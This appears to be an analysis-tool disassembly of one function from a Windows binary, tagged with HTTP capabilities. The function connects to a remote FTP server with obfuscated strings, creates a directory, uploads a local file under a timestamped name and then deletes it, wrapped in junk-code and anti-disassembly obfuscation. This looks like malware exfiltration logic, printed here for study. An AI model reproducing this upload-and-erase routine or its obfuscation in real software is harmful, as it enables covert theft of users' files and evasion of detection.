Function at 0x5a2c70
Capabilities:
Connect to http server
Create http request

Disassembly:
jae 0x5a2c6e
jmp 0x5a2c69
call fcn.005a2c70
jae 0x5a2c69
add esp, 4
jmp 0x5a2c75
dec dword [esp]
jno 0x5a2c7a
jns 0x5a2c65
jp 0x5a2c7e
add esp, 4
popf
jmp 0x5a2c85
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5a2c9e
jne 0x5a2c9e
call 0x101a5ff2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x178], eax
push 0x58dc7a98
lea ecx, [ebp - 0x184]
call fcn.005a20e0
mov dword [ebp - 0x264], eax
push 0x58dc7a98
lea ecx, [ebp - 0x190]
call fcn.005a20e0
mov dword [ebp - 0x268], eax
push 0x33181657
lea ecx, [ebp - 0x19e]
call fcn.005a20a0
mov dword [ebp - 0x26c], eax
push 0
push 0x8000000
push 1
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
push 0x15
mov edx, dword [ebp - 0x26c]
push edx
mov eax, dword [ebp - 0x178]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x19e]
call fcn.00594ac0
lea ecx, [ebp - 0x190]
call fcn.005a3850
lea ecx, [ebp - 0x184]
call fcn.005a3850
cmp dword [ebp - 0x38], 0
jne 0x5a2d6b
mov ecx, dword [ebp - 0x178]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pushf
push 0xa
jae 0x5a2d78
jmp 0x5a2d73
call 0x5a2d7a
jae 0x5a2d73
add esp, 4
jmp 0x5a2d7f
dec dword [esp]
jno 0x5a2d84
jns 0x5a2d6f
jp 0x5a2d88
add esp, 4
popf
jmp 0x5a2d8f
clc
jae 0x5a2d94
xchg dword [edx - 0xd7eadb0], ebx
nop
add byte [eax], al
add byte [edx - 0x7f], dl
ljmp 0x358
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5a2dad
jne 0x5a2dad
lcall 0x749a, 0x3eb037c
sti
jl 0x5a2db2
jmp 0x5a2db4
je 0x5a2daf
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5a2dce
jne 0x5a2dcd
call 0x835e1e55
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5a2ddc
jne 0x5a2ddc
call fcn.005ac448
add byte [edx], ch
push 0x96
push 0
lea edx, [ebp - 0x174]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x2337b815
lea ecx, [ebp - 0x1af]
call fcn.005a2130
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x274], eax
mov dword [ebp - 4], 0
mov ecx, dword [0x7a29a8]
push ecx
mov edx, dword [ebp - 0x274]
push edx
push 0x2000
lea eax, [ebp - 0x174]
push eax
call fcn.005c6ac0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1af]
call fcn.00594a60
lea ecx, [ebp - 0x174]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
jl 0x5a2e65
jmp 0x5a2e67
je 0x5a2e62
xor eax, eax
test eax, eax
je 0x5a2e70
jne 0x5a2e6f
call 0x835e1ef7
rol byte [ebx + eax*4], 0xf0
add eax, 0x570273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x5a2e7e
push edi
pop eax
je 0x5a2e83
jne 0x5a2e83
pop eax
pushf
push 0xa
jae 0x5a2e90
jmp 0x5a2e8b
call 0x5a2e92
jae 0x5a2e8b
add esp, 4
jmp 0x5a2e97
dec dword [esp]
jno 0x5a2e9c
jns 0x5a2e87
jp 0x5a2ea0
add esp, 4
popf
jmp 0x5a2ea7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5a2ec0
add byte [eax + 3], bl
ret 0x585a
jne 0x5a2ec0
call 0x101a6214
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
lea eax, [ebp - 0x34]
call fcn.005a1a30
lea eax, [ebp - 0x34]
call fcn.005a1a20
mov dword [ebp - 0xd8], eax
pushf
push 0xa
jae 0x5a2ef4
jmp 0x5a2eef
call 0x5a2ef6
jae 0x5a2eef
add esp, 4
jmp 0x5a2efb
dec dword [esp]
jno 0x5a2f00
jns 0x5a2eeb
jp 0x5a2f04
add esp, 4
popf
jmp 0x5a2f0b
clc
jae 0x5a2f10
js 0x5a2eb5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5a2f29
jne 0x5a2f29
movsd dword es:[edi], dword [esi]
jl 0x5a2f2e
jmp 0x5a2f30
je 0x5a2f2b
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5a2f4a
jne 0x5a2f49
call 0x835e1fd1
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5a2f58
jne 0x5a2f58
call 0x9b9d10c4
jp 0x5a2eeb
push 0x7a9b42e1
lea ecx, [ebp - 0x1cb]
call fcn.005a2180
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x27c], eax
mov dword [ebp - 4], 1
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1b4], esp
mov edx, dword [ebp - 0x27c]
push edx
call fcn.00406ec0
mov dword [ebp - 0x280], eax
lea eax, [ebp - 0x28]
push eax
call fcn.005a2900
add esp, 0x20
mov dword [ebp - 0x284], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1cb]
call fcn.005a2070
mov ecx, dword [ebp - 0xd8]
cmp dword [ecx + 8], 0x18
jle 0x5a2fdf
lea esi, [0xe8fffffe]
sbb dl, dh
invalid
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx + 8]
sub eax, 0xc
mov dword [ebp - 0x288], eax
jmp 0x5a2fee
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x288], edx
push 0x2a83385d
lea ecx, [ebp - 0x218]
call fcn.005a21d0
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x290], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 0x288]
push edx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx + 0x10]
add eax, 1
push eax
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 0x14]
add edx, 0x76c
push edx
lea ecx, [ebp - 0x28]
call fcn.00406f00
push eax
mov eax, dword [0x7a29a8]
push eax
lea ecx, [ebp - 0x174]
push ecx
mov edx, dword [ebp - 0x290]
push edx
push 0x2000
lea eax, [ebp - 0xd4]
push eax
call fcn.005c6ac0
add esp, 0x30
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x218]
call fcn.005a2090
mov ecx, 0xa44432fe
push ecx
lea ecx, [ebp - 0x224]
call fcn.005a2220
mov dword [ebp - 0x294], eax
push 0
push 2
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0x294]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_FtpPutFileA]
lea ecx, [ebp - 0x224]
call fcn.005a3850
mov edx, 0xa44432fe
push edx
lea ecx, [ebp - 0x230]
call fcn.005a2220
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x298]
push eax
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0x230]
call fcn.005a3850
pushf
push 0xa
jae 0x5a3111
jmp 0x5a310c
call 0x5a3113
jae 0x5a310c
add esp, 4
jmp 0x5a3118
dec dword [esp]
jno 0x5a311d
jns 0x5a3108
jp 0x5a3121
add esp, 4
popf
jmp 0x5a3128
clc
jae 0x5a312d
mov al, 0x50
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5a3146
jne 0x5a3146
mov al, 0x7c
add ebp, ebx
add esi, dword [eax + 0x3350fb74]
ror byte [edi], 0x9b
rcl byte [edx + 0x33], 0xd0
jl 0x5a314b
jmp 0x5a314d
je 0x5a3148
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5a3167
jne 0x5a3166
call 0x835e21ee
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5a3175
jne 0x5a3175
call fcn.00567740
invalid
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00406f10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret